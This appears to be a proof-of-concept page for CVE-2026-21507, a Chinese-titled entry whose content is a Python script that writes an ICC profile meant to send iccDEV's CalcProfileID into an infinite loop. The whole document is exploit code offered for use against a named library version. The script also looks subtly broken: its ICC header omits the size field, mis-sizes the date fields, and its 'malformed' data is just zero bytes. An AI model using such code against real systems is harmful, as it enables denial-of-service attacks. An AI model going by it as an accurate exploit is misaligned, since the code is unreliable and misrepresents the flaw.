CVE-2026-21507 iccDEV CalcProfileID函数无限循环拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-21507 PoC - iccDEV IccProfile.cpp CalcProfileID Infinite Loop This PoC generates a malicious ICC profile that triggers infinite loop in CalcProfileID function. """ import struct import os def create_malicious_icc_profile(): """ Create a malformed ICC profile that triggers infinite loop in CalcProfileID The vulnerability is in the CalcProfileID function in IccProfile.cpp """ # ICC Profile Header (128 bytes) profile_size = 1024 # Arbitrary size magic = b'acsp' # ICC profile magic number preferred_cmm_type = b'MSFT' profile_version = struct.pack('>I', 0x04000000) # Version 4.0 device_class = b'scn ' # Input device color_space = b'RGB ' pcs = b'Lab ' creation_date = struct.pack('>IIIIII', 2026, 1, 6, 0, 0, 0) platform = b'MSFT' flags = struct.pack('>I', 0) manufacturer = b'MSFT' model = b'MDL1' attributes = struct.pack('>Q', 0) rendering_intent = struct.pack('>I', 0) pcs_illuminant = struct.pack('>III', 0x00000000, 0x00000000, 0x00000000) creator = b'MSFT' profile_id = bytes(16) # 16 bytes profile ID header = magic + preferred_cmm_type + profile_version + device_class header += color_space + pcs + creation_date + platform + flags header += manufacturer + model + attributes + rendering_intent header += pcs_illuminant + creator + profile_id # Tag table with malicious entries # This malformed tag table can trigger infinite loop in CalcProfileID tag_count = 1 tag_offset = 128 + 4 + tag_count * 12 # Header + count + tags tag_signature = b'desc' # Profile description tag tag_data_offset = tag_offset + 128 # Data offset tag_data_size = 128 # Data size tag_table = struct.pack('>I', tag_count) tag_table += struct.pack('>I', int.from_bytes(tag_signature, 'big')) tag_table += struct.pack('>I', tag_data_offset) tag_table += struct.pack('>I', tag_data_size) # Malformed tag data that triggers the vulnerability # This creates data that causes CalcProfileID to loop infinitely malformed_data = b'\x00' * 128 # Combine all parts profile = header + tag_table + malformed_data return profile def main(): """ Main function to generate and save the PoC ICC profile """ print("[*] Generating CVE-2026-21507 PoC ICC Profile") print("[*] Target: iccDEV <= 2.3.1") print("[*] Vulnerability: Infinite Loop in IccProfile.cpp CalcProfileID()") # Generate malicious profile malicious_profile = create_malicious_icc_profile() # Save to file output_file = "CVE-2026-21507-malicious.icc" with open(output_file, 'wb') as f: f.write(malicious_profile) print(f"[+] Malicious ICC profile saved to: {output_file}") print(f"[+] File size: {len(malicious_profile)} bytes") print("[+] To trigger the vulnerability, load this profile using vulnerable iccDEV version") if __name__ == "__main__": main()